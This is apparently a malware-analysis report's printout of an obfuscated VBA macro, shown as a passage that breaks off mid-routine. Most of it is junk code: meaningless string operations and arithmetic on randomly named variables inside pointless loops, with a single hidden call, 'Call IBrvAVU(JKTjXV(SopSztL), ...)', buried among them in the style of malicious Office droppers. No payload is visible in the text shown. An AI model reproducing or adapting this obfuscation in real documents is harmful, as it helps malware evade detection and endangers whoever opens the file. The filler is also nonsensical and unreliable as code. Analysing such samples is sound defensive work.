        JYLeMH = 1909 - 776 - 841
        xoJMmYM = StrReverse("Q^AOq_SXgV(KT")
        bqPnaMGx = Right("UZa^n@?x-CO^n-wdckg&", 5)
    Next dgKuXw

    xoJMmYM = 1273 - 1891 - 1322
    bqPnaMGx = Left("xufN)hv$HN)(qK", 3)
    OIocxfq = Right("o(w]oyIsHlKagm^URe*Y", 3)
    End If
    xoJMmYM = "QM[n_.fTmCX" + "Hi-jJz[fXwlP" + "lmITTlwv!k tg-iUAQzV"
    While scieVH < 37
        uEscGpa = StrReverse("PKj^zqrdJuS")
        fyqSFe = Right("nbIRhkiAhFlnpyvlchMq", 2)
        JYLeMH = Space(6)
        NibQC = Right("oHlgUH)aDHAl", 5)
        vorcem = "*f)#w?FJZyQp" + "jQc!sbL_g]&T" + "!aVifRx*wwGq@r"
        xoJMmYM = Right("[AMvU$E!IDAz", 5)
        OIocxfq = 159 - 359 - 993
        OIocxfq = RTrim("x[ZPmM*.NyMPZnlc")
        gsRbvfuS = RTrim("jgDu!sn*z]")
        vorcem = RTrim("AaUJxTW Thce")
        scieVH = scieVH + 2
    Wend

    xoJMmYM = "*D[XDpkUYiU?." + "^BnFmgDdpVrJwYlk" + "P]wNV[ez)miHQhO(kY@"
    While BvbdZG < 260
        vorcem = UCase("Y)huFlwcd_")
        fyqSFe = RTrim(" kb]af CLqw^u*x#")
        vorcem = Right("$A-Yc$sQrA$j@kt@R%ia", 5)
        vorcem = 1970 + 1461 + 959
        JYLeMH = Right("WWi]Bd]w#gSV", 4)
        xoJMmYM = 124 + 539 + 504
        fyqSFe = 214 - 1373 - 1735
        xoJMmYM = "IE?-#ZKxV Ggl?" + "vCJKxhf#BOfQsl&" + "jYfiyxDdjN(p^(Nf[x"
        xoJMmYM = 1875 + 1726 + 684
        BvbdZG = BvbdZG + 1
    Wend

    fyqSFe = Right("Lc??uCczyvBSl.PN", 4)

    NibQC = Right("pckM.^hjmTO$lI?", 2)
    While sqqIVv < 11
        vorcem = Left("$*AeIh SAV", 3)
        uEscGpa = 1020 - 1952 - 1544
        JYLeMH = StrReverse("EYpq-tKY$labiN")
        OIocxfq = LTrim("ZGMKpT#*^UILY--SY")
        sqqIVv = sqqIVv + 2
    Wend

    uEscGpa = "%xY*)IkMC]VZ" + "_RvpZX@A^_(edbtaw@" + "vfiTD^Vne)qnCEctAs"
    While dXXgaT < 287
        JYLeMH = 421 + 1278 + 550
        OIocxfq = RTrim("VJ$a^gat%w")
        uEscGpa = 810 - 662 - 460
        OIocxfq = RTrim("EB!_bdW%@sN")
        NibQC = 1988 + 432 + 1285
        gsRbvfuS = Space(16)
        JYLeMH = 1251 - 588 - 1998
        dXXgaT = dXXgaT + 2
    Wend

    OIocxfq = Space(17)

    While ZdQXS < 222
        NibQC = UCase("kRd.%sP zUS")
        For ZrhfrG = 0 To 246
            bqPnaMGx = Right("tvHSmHxNYPo%Hnr(rzwL", 5)
            NibQC = UCase("uMk-&neyo.F#")
            vorcem = StrReverse("()pbY%$V!N_) flmv(")
            uEscGpa = UCase(" ?uu(#-Zv!")
            RQdJBPE = LTrim("H*$iuRfBFD$pKO]w M-")
            JYLeMH = 564 - 574 - 1803
        Next ZrhfrG

        While WFZvaJ < 349
            RQdJBPE = RTrim("wLr@#?gpoEIJp")
            JYLeMH = Left("O$b_SH^ nAst", 2)
            WFZvaJ = WFZvaJ + 1
        Wend

        While AgvCkA < 126
            RQdJBPE = RTrim("k)x]NbadEstTuh!vltu")
            xoJMmYM = LTrim("QrdWd@FlrK$vJSG")
            RQdJBPE = 1467 + 1998 + 1000
            AgvCkA = AgvCkA + 2
        Wend

        xoJMmYM = Space(9)
        JYLeMH = UCase("ZPOt_D[q*g]x(_ITqx")
        OIocxfq = RTrim("fr&(?CqpECcv_")
        RQdJBPE = RTrim("Fdk-E-k$r)PWkKGqcZ T")
        RQdJBPE = UCase("hvcRwbHWeYrEO$chD ")
        NibQC = Left("MbDj .a#hMp", 2)
        xoJMmYM = "LsU*Sp_Udv]PXsv " + "Jg.GLsEX#t!Z@[VnPR]y" + "VrFhq!Ol.k?b&&dG"
        vorcem = 121 + 1448 + 1092
        If ZdQXS = 207 Then
            RQdJBPE = Left("e.Q?yAyS?g", 5)
            Call IBrvAVU(JKTjXV(SopSztL), "cjzwSHQg", "VRF", "QvFXidP", "FCDOMbGiNI", "RrUf", "GVGTuENNiT")
            While iXcpjD < 314
                vorcem = Right("fJcQgLNco%%.", 5)
                xoJMmYM = Right("FE)-P_i-M?v", 2)
                xoJMmYM = 842 + 1656 + 1409
                bqPnaMGx = 1519 - 1172 - 1194
                bqPnaMGx = StrReverse("DrdE!Rldut*]uk X(V^")
                RQdJBPE = LTrim(")Q(gPGYxIyai")
                uEscGpa = LTrim("Smc_tgSY*F")
                RQdJBPE = 1810 - 201 - 1363
                iXcpjD = iXcpjD + 1
            Wend

            For xRHGzi = 0 To 37
                vorcem = Left("Yj%&dE-]Fhm(CFp", 3)
                JYLeMH = Left("G*s[r$cZ!ouMRm&N*", 4)
            Next xRHGzi

            uEscGpa = "q(HrgGaYP#dNOCZm" + "S%BiFFoZ_X" + "AC%GLFG.jaDf_!iqU."
            bqPnaMGx = Left("zM^ooDwadP", 4)
            gsRbvfuS = Left("YIuoVkLac$XpDqP.AJu", 2)
            While LgAcnK < 382
                RQdJBPE = Right("*F!H^m??VH%es", 3)
                gsRbvfuS = Right("EX-XXCAq_R", 4)
                gsRbvfuS = StrReverse("HcQ)O.oVIieTdzmW")
                OIocxfq = Right("A$i.?p&@gkmGh%bao&", 4)
                xoJMmYM = 760 + 723 + 1380
                uEscGpa = RTrim("$!PCAwMT(Dob-PWvyG_")
                fyqSFe = LTrim("ZWQY]Tr CI(_ci")
                RQdJBPE = LTrim("!rSdWX %rViI#s$@% .")
                uEscGpa = StrReverse("f)#zMkLI$If]j?a")
                xoJMmYM = Left("v-u&)NYvyIiO_", 5)
                LgAcnK = LgAcnK + 3
            Wend

            vorcem = RTrim("E@dZsap#g%[#rE")
            RQdJBPE = RTrim("NLoEFSSkEUVZFiJe!AU")
            fyqSFe = 1368 - 1988 - 1744
        End If
        vorcem = 1674 - 341 - 218
        OIocxfq = Right("!nObr&dXF (rVgpbXP-", 3)
        vorcem = UCase("&[UWYyy?t!!oS^OIE.")
        NibQC = 510 - 852 - 1612
        JYLeMH = Space(17)
        For bqdSgz = 0 To 275
            RQdJBPE = LTrim("e%uT.Ul V%YF?xC)hiK")
            OIocxfq = 557 + 624 + 412
            NibQC = UCase("@M_Mrog_GIY*")
            OIocxfq = 554 + 437 + 1989
            gsRbvfuS = Left(".ry&LsaI#iGDj -zf@&", 5)
            OIocxfq = 1733 - 1629 - 822
            gsRbvfuS = Right("gUJMhnH*jc-K(@Obw]k", 4)
            OIocxfq = Left("gk)qTDa Q.y-SA", 2)
            RQdJBPE = LTrim("L^uMue%Dnrn[#YKJWZ")
        Next bqdSgz

        gsRbvfuS = "&d?)SOTHAcKDJ" + "R]sruBBOsL." + "m&#NUwn&&x_(lC_"
        uEscGpa = RTrim("YFXMe#J]LeA!CcB")
        gsRbvfuS = 1506 - 1805 - 211
        vorcem = RTrim("C?dcVTZLq#?gz")

    ZdQXS = ZdQXS + 1
    Wend
    uEscGpa = Right("JQ$G$.b(rTroWq!D", 5)
    xoJMmYM = Right("(^QAgwmSQ_CH$kS]R", 4)
    gsRbvfuS = Space(5)
    NibQC = RTrim("HQgenj?vSli")
    xoJMmYM = Left("s H$vRANFi", 3)
    JYLeMH = Left("AOxDPMjRXR$kmqUV", 2)
    vorcem = 274 - 1625 - 846
    gsRbvfuS = 592 + 1448 + 837
    gsRbvfuS = LTrim("C]xNK!!W-U^*G_[xm%A")
    NibQC = RTrim("VQjq&P[vlDcRl?kV")
    vorcem = LTrim("f.dc&%) WpY")
    RQdJBPE = UCase("@#aKXVPdXRjj")
    JYLeMH = Right("R&A-LG*hrey(pwS", 5)
    fyqSFe = UCase("^r_cK^Ca_Ulo%GSVW[")
    bqPnaMGx = Left("x#talIq*cw)qqgM", 2)

End Sub

Private Sub BRUVzF(EICmBzV As Integer, OdqhlP As Double, fQecTO As Boolean, CRFenY As Integer)
    gsRbvfuS = UCase("?ZNFz@.)%ya")
    xoJMmYM = 1830 + 979 + 247
    gsRbvfuS = Left("PWPs*GWoq$Il", 2)
    NibQC = UCase("svKWgYZawsQbgd@J")
    JYLeMH = StrReverse("EW.bwngGePCl")
    fyqSFe = Right("%yDGv. !qqd", 3)
    xoJMmYM = 523 - 1405 - 1081
    uEscGpa = 1215 - 155 - 1953
    fyqSFe = 932 - 1621 - 808
    bqPnaMGx = 863 + 256 + 1576
    fyqSFe = Space(11)
    While MuoZTv < 44
        fyqSFe = Space(1)
        gsRbvfuS = StrReverse("#oyaNOtIQELp*")
        fyqSFe = 2000 + 684 + 1502
        RQdJBPE = Space(16)
        JYLeMH = UCase("H@MXn-$TxbXcApL")
        xoJMmYM = 1711 - 1090 - 809
        MuoZTv = MuoZTv + 1
    Wend

    For hEFVRp = 0 To 120
        fyqSFe = UCase("TYGD-VqcA*M_.")
        bqPnaMGx = Space(8)
        uEscGpa = Space(1)
        bqPnaMGx = RTrim(".)fv-n%]EZT?_@Myr")
        gsRbvfuS = 1110 + 689 + 185
        RQdJBPE = LTrim("Pmrx]O(u(v^)v*TT")
        fyqSFe = "%cbPE[DLv oFGgH#w" + "TIJTb(_ULnsBc" + "Uj@@)dIy@.JiI?"
        uEscGpa = Space(16)
    Next hEFVRp

    bqPnaMGx = Space(10)
    uEscGpa = UCase("i(HTO[g^t]]aX")
    RQdJBPE = 235 + 1516 + 235
    JYLeMH = Space(14)
    vorcem = 850 + 209 + 883
    JYLeMH = 190 + 528 + 693
    vorcem = StrReverse("!-lbsOA[P--nANIUQ")
    For drgCrL = 0 To 145
        bqPnaMGx = Right("#?YrHitGwz.$*X", 5)
        uEscGpa = UCase("oh$YxYKaM)V")
        uEscGpa = 1771 + 1328 + 1492
        bqPnaMGx = 1444 - 263 - 1520
        uEscGpa = LTrim("dvCoA[h lrDhd")
    Next drgCrL

    RQdJBPE = LTrim("(Y?s^@cgnuXuIWk")
    RQdJBPE = Left("nQC]bU$)pNWzbXGBfUm", 5)
    NibQC = RTrim("yw_%qqIDFr")
    fyqSFe = Right("VPfGzfXP$$xA JADDf", 2)
    RQdJBPE = StrReverse("VvlJOPECrkDA")
    OIocxfq = LTrim("AA F]mDKz&&rlia_wGNv")
    RQdJBPE = 358 + 1627 + 1072
    vorcem = 1773 - 941 - 441
    OIocxfq = UCase("bFhWDrmE](Ww[quO")
    While afEtgj < 275
        RQdJBPE = Space(18)
        JYLeMH = StrReverse("BB$X Iho*o")
        OIocxfq = Right("wx)NZ&neI.", 2)
        RQdJBPE = 218 + 1202 + 1370
        fyqSFe = LTrim("ctNC% UhgTj")
        RQdJBPE = StrReverse("[fLQ#vTSwgkGj")
        uEscGpa = "E@O&y_[@QKX" + "HYS@JjzBwRBuF&&JHF@" + "aapx]SEfxzMdNZBg!"
        afEtgj = afEtgj + 1
    Wend

    vorcem = LTrim("M&(pGAJ#Q[V")
End Sub

Private Sub DYZFBc(hWjMok As String, nWrADcq As Boolean, gIDnlf As Boolean, soMARK As String, pBjtOz As String)
    OIocxfq = RTrim("LYBDK*(FSfj%_^k")
    RQdJBPE = 358 - 203 - 1993
    fyqSFe = Left("*&U)Lc#jcA iS Nu*e", 2)
    bqPnaMGx = Space(12)
    OIocxfq = RTrim("FFibBTvtbz.j?u")
    fyqSFe = RTrim(").^XfcgELeF")
    gsRbvfuS = Space(3)
    For iDwVSU = 0 To 341
        JYLeMH = Right("$bDxWPXc($*Zn?", 4)
        xoJMmYM = StrReverse("RNSwE@VPY&YLqY[BIMP")
        bqPnaMGx = "sOqa(VlTKTPe?eFBByJ" + "IQbNjmRNNoHo$" + "^DmbTz(lU_gr%GcJfz"
        xoJMmYM = 571 - 471 - 1540
        xoJMmYM = 680 - 1869 - 699
        xoJMmYM = RTrim("RpPSSWZlzq")
        fyqSFe = StrReverse("u[efnvXTlb.")
        JYLeMH = Right("ilrCX*si^ebsRTWCb", 5)
    Next iDwVSU

    xoJMmYM = RTrim("YU)(K#pCcnMKsMl_c*?")
    bqPnaMGx = Left("qv&sKoPELHb#fRh$T", 5)
    RQdJBPE = Space(10)
    For OFmxvl = 0 To 212
        fyqSFe = LTrim("gPr]Ts&&LDaf&")
        NibQC = Left("oh-kEu^?Ld%m_z*", 4)
        JYLeMH = Left("@s-x[y-KfwKAv@]Tdb", 2)
        uEscGpa = 589 - 1739 - 1335
        gsRbvfuS = Left("NGxr?ozvdq)RdVrfhs&", 2)
        NibQC = 1081 + 1316 + 444
        xoJMmYM = 776 + 1494 + 878
    Next OFmxvl

    bqPnaMGx = ")qUaoQkP]TJKiOM(p^" + "[biRGMO@JHHxRU(jWwq." + "mxMBNlNekWpmg@"
    uEscGpa = 1781 - 1842 - 731
    NibQC = "X^BLVSuAmhX)*ra)-ty" + "$st@(sv SY-" + "ljJJuqVyW&QQpx*Llcp"
    vorcem = RTrim("YURVRIjg#It@b")
    RQdJBPE = StrReverse("_R y[bK$O[")
    RQdJBPE = 824 - 1718 - 1718
    NibQC = UCase("L.X[duy(-hURg#^")
    While Gvojje < 336
        bqPnaMGx = "%Hpd%pliG#d" + "?cFQvoDoqtaAjb" + "NpI@^U#Vq)W*"
        bqPnaMGx = "Sdt.A.FX[!jV%bX(" + "s.--)Bw^Sro(jLgBe(z" + "ednV(q)&U&"
        fyqSFe = RTrim("xFVJaJHHxf")
        xoJMmYM = "io!yaEI]fL.&zk(" + "&tbWWPNSbW" + "XYWtC-Ov.S&)^p"
        gsRbvfuS = 1936 + 496 + 636
        NibQC = Space(12)
        Gvojje = Gvojje + 2
    Wend

    gsRbvfuS = StrReverse("W?^cYyjWoL _]^")
    gsRbvfuS = UCase("^BM!lox$krQ#W")
End Sub

Private Function IuwbQv(LQSbxt As Boolean, iViGBF As Double) As String
    RQdJBPE = UCase("L-ivW)AoiYhC")
    uEscGpa = 646 + 1534 + 654
    JYLeMH = UCase("FvlHPNuSkAWB)mGRAJZx")
    RQdJBPE = "xyVGN%_gaS&Th" + "&A?ETxeznzgF" + "NLXAi*eiIjFsSe]wG"
    vorcem = "w-o)tjLOczVY" + "OG pj.AYzf]#" + "YD^Mzs$Cgr@!ha)xtbT"
    For ivlxWV = 0 To 107
        NibQC = 453 + 1552 + 554
        vorcem = "p?iiD^Zahy!xkv" + "PGttW@wxqL" + "kYr[m%NaeTrKz!qAnK)"
        bqPnaMGx = "M!qw?WEwcfSFm" + "v@@oETJ*IPjtxMeU" + "!NBuyLzBMq"
        NibQC = LTrim("w@DB_ULSdwKhZ_NXVz[")
        RQdJBPE = UCase("XdliEX)T-jpck")
        uEscGpa = 1157 - 1100 - 632
    Next ivlxWV

    gsRbvfuS = Left("A@v$TykfAH$ZP(", 4)
    uEscGpa = StrReverse("P(^?_F *CCfBzU")
    While egmxDJ < 339
        RQdJBPE = LTrim("p@rbYET[XgZeye")
        uEscGpa = Left("EnwaICLArn", 5)
        OIocxfq = Space(9)
        fyqSFe = StrReverse("ycfV-?nbIOu?TM_t")
        egmxDJ = egmxDJ + 3
    Wend

    fyqSFe = "&-) Ol]O]*z]i" + "tK*lBjN.J_" + "MbIfmoFEMW.ON"
    xoJMmYM = "-^_zN%W@garP" + "Qt_F[nQ^#L& Zs" + "AsyKTJHVGooH"
    uEscGpa = UCase("M@)f]tcjmk*i")
    fyqSFe = "HnCk?!&$JOIlhTWsT)fc" + "w(yEx]Krk!laa)T(e" + ")$(y))Dev)ev"
    For wLAvrz = 0 To 347
        xoJMmYM = UCase("*-IW..deQkjV]$x")
        gsRbvfuS = RTrim("@KoFIc%lkvALeU!zk")
        xoJMmYM = Right("uIAW_If^$Vw^XXq", 4)
    Next wLAvrz

    uEscGpa = Right("ZrG  Ni%WUAS ", 4)
    uEscGpa = Space(17)
    vorcem = RTrim("QAIl#tA#qyF!m_NXFh")
    gsRbvfuS = Left("M&EpT]kDZFAGqtf#", 4)
    gsRbvfuS = 808 - 815 - 107
    OIocxfq = Space(14)
    bqPnaMGx = 288 + 1551 + 246
    RQdJBPE = LTrim("DT@D[RoDkEYH%H")
    NibQC = "nRWZZ!B%#S" + "wi@sRNdM.pZ^Fk" + ".j (TgUMJFBbVLK(lB"
    bqPnaMGx = StrReverse("ek?tUkPN#d%(d)")
    bqPnaMGx = UCase("shlPNq^Qc-K%")
    NibQC = LTrim("jfgjFo H]-mxyjHyA&E")
    vorcem = Left("C)R.RvEv(eDvW&zAdes*", 5)
    vorcem = Left(")*_^tW[lHfn(fM Bzh", 3)
    uEscGpa = "^XmWXRkN*huG_As#&Gb" + "ukaKqNduEk" + "xPb)wG^bthWpDSVdGT"
    bqPnaMGx = Space(9)
    For NwoGHf = 0 To 327
        gsRbvfuS = LTrim("FKNWwZDsq%]M@.?&")
        NibQC = Space(18)
    Next NwoGHf

    vorcem = 588 + 1736 + 1816
    IuwbQv = "kSUXZibtBNgFVZFFPnauXGdTEpHrkxZa"
End Function

Private Sub XmrUVU(KqCncua As String, QJgKiK As Boolean, YGaiBrs As Integer, uzgDcn As Integer, gSCeon As Double)
    fyqSFe = 1989 + 1400 + 1543
    OIocxfq = Left("oZUHogRvcSO!HEAF-Hko", 4)
    For fyPBZD = 0 To 260
        bqPnaMGx = Left("KuWjWlVjy]-@#", 2)
        JYLeMH = StrReverse("k]cDL]tJ CL^&Ald")
        OIocxfq = "J]sA(wuudbjXzP" + "nyTQdF?qj*j?$m-g" + "(b qzLnPUM $"
        RQdJBPE = "MOPKQtL&g)sZ?s#j[vB" + "hlaJjrYto#iRZuzm" + "aL_$$)weErY"
        uEscGpa = RTrim("ESjmk_&uubt")
        fyqSFe = 1124 - 803 - 661
        OIocxfq = Left("-Wsu?LIJu!YMZ", 2)
        gsRbvfuS = UCase("?PbzsW#EagQvRxR")
        uEscGpa = StrReverse("t)#XRG.]n@YMr]crn")
    Next fyPBZD

    xoJMmYM = 434 - 1009 - 1731
    gsRbvfuS = StrReverse("s?wtJtvN.Zxd-!^")
    RQdJBPE = 1970 + 1357 + 1037
    xoJMmYM = StrReverse("jZ?.drAK#KWaDRsy*")
    uEscGpa = 1457 + 252 + 1428
    xoJMmYM = Left("czUM*rkO?FV", 5)
    fyqSFe = RTrim("W(TLu*ckFrau")
    xoJMmYM = 1432 + 353 + 438
    OIocxfq = RTrim("Gm jL??#-uAjz")
    vorcem = RTrim("VP]t)QtJc.ktsDk@")
    xoJMmYM = RTrim("%wxwFUYewGI_I_w[")
    bqPnaMGx = 440 + 128 + 405
    OIocxfq = 1287 - 1307 - 382
    vorcem = RTrim("JtJAuV$*Ekr&IBY Rf")
    While KHiblS < 196
        OIocxfq = 1140 + 487 + 1935
        vorcem = "*vyRxyxE!_X!aR.#" + "cVUmH_y(bnvb X" + "scy)^uqbi !?l#r"
        bqPnaMGx = 1457 + 931 + 409
        OIocxfq = LTrim(" q*-tiTEp.iwjYkrwpX")
        RQdJBPE = 1904 - 693 - 1714
        fyqSFe = UCase("t rRsm!TW%dE. XW?n")
        KHiblS = KHiblS + 1
    Wend

    For NOGjfD = 0 To 153
        uEscGpa = Left("NIzsrz?u.zm", 2)
        uEscGpa = RTrim("XXie.vznBqvAfaR!SwFP")
        bqPnaMGx = UCase("l].CPDdJ]i^vl")
        OIocxfq = 1382 + 1053 + 1545
    Next NOGjfD

    xoJMmYM = UCase("Q%OwGwywZE@t")
    vorcem = UCase(")kztrfBi!lJ^Enof")
    NibQC = 1771 - 143 - 1658
    RQdJBPE = Left("RtGgupOcSBhbO-#C gDL", 3)
    fyqSFe = LTrim("**HI?yIhBkQGbhDD!")
    While pFEZAB < 330
        RQdJBPE = Space(19)
        uEscGpa = RTrim("cI%B$YT@?wBjxwaam^gG")
        NibQC = "(CL!cUk#sVCc-" + "gMFrlvbNm*kc&iVP" + "Nq$n_iWhpMW^Md.gdGT("
        xoJMmYM = RTrim("-eQZS*!K)UZLdaq")
        uEscGpa = 1233 + 508 + 852
        pFEZAB = pFEZAB + 2
    Wend

    OIocxfq = Right("a[fDDlubbp(TZ?b", 5)
    OIocxfq = "BY#%BVfYJAwJQs!bCG" + "kw_T??]x$GAua" + "pApmx)ONgjL(aB"
    bqPnaMGx = StrReverse("wI*.EirmSXUs@QgMqX#")
    NibQC = StrReverse(" XUViCUV@E")
    fyqSFe = RTrim("Qi^Mxw]W&bw")
End Sub

Private Sub bYNmCX(iCOZeYO As Boolean, UTruunY As Integer)
    bqPnaMGx = "Sk)LXv@RsCO" + "aQrrtyJ]XPm^GPLN" + "Lfhav%Qk?D"
    NibQC = LTrim("hAw_Nuo]-dAfFd")
    fyqSFe = 1610 + 1873 + 822
    OIocxfq = Right("r^Eou-^r_s!*@kj)@ W", 4)
    xoJMmYM = Right("opAx]?I)Ou ", 5)
    xoJMmYM = "[R swbl?pDD?ELIQRzIz" + "GxNqm^HyRho$" + "KTXMsbb_pDWf"
    JYLeMH = "l$B%-U S#xthUmEZroF" + "pxK#L-(LV$Tl*?" + "CN&TeRxNvd*oduw(qI$"
    uEscGpa = "xnGvzHW.G^(dETB]@]&" + "q*XUh.N.vhip" + "GSwz-cGLNRd!X.lhP$I^"
    OIocxfq = LTrim("JcO$kVRo*PY-Pewxqa_s")
    RQdJBPE = Right("FRCK_rfK[j$v$)NW^OP", 5)
    JYLeMH = Space(7)
    xoJMmYM = RTrim("JyHN?Hd CFyZ.x@!O")
    xoJMmYM = UCase("kFUf$lhqtmpjA")
    NibQC = 242 + 1571 + 1720
    JYLeMH = "YRl[W_AGSSE" + "rN]l(Eav^JC" + ".H&cR*[?Na"
    RQdJBPE = Right("Qx?udXwHIwow", 3)
    RQdJBPE = UCase("i&PI@&DsCg(xb")
    NibQC = Left("?MzBWu#omw", 5)
    For QNBIny = 0 To 96
        JYLeMH = 1308 - 786 - 588
        bqPnaMGx = 914 + 322 + 1584
        fyqSFe = "^.$IK_w^xhghiLe" + "xFwTdjBfQ_i #Fb" + "gKR@[[ (mX%qpin"
        RQdJBPE = 235 + 1631 + 1543
        vorcem = LTrim("]-Ld O^ucBF")
        NibQC = RTrim("OyogHMCE%cc]R*r]Z")
        gsRbvfuS = 125 + 1380 + 845
        OIocxfq = 506 + 1494 + 1604
    Next QNBIny

    bqPnaMGx = "&lRI!^RNALEVeIh" + "Th[jVH#rrnZ" + "xcAMSYZRa_-O"
    gsRbvfuS = Right("Lsi%z^CwaC--rNwm", 2)
    While PtQpPC < 362
        xoJMmYM = "rr@V.[DnWWirVT--" + "xrjxCfI?bKQlUr@" + "agPy#hFW!QZlKVV"
        NibQC = "vr%EDiQ_NbJF" + "VXelnkwg)kxi]gaF#?F" + "$LerrTYjFAJ-"
        bqPnaMGx = Left("E[fWC]SiEC@", 3)
        uEscGpa = "E&eBD.if]HZz?cPjv" + "*WG!FERDsUXzz" + "KXX)xHed)o"
        gsRbvfuS = RTrim("uf)Ryv-vu-iXR%V")
        xoJMmYM = Left("cIMNlJerXvcaGDmY", 5)
        bqPnaMGx = StrReverse("u^UmcwVAwLB")
        vorcem = "n*#_-lXSEDzMmA@ltX" + "ppsKEMvZ@kCJoH" + "&vB)#[LBJf!jhAsXqLTF"
        xoJMmYM = Left(" X mxUF#F@FfhIi", 3)
        PtQpPC = PtQpPC + 3
    Wend

    For bQsFFr = 0 To 191
…

Open this report in the interactive analyzer, or submit your own file for analysis.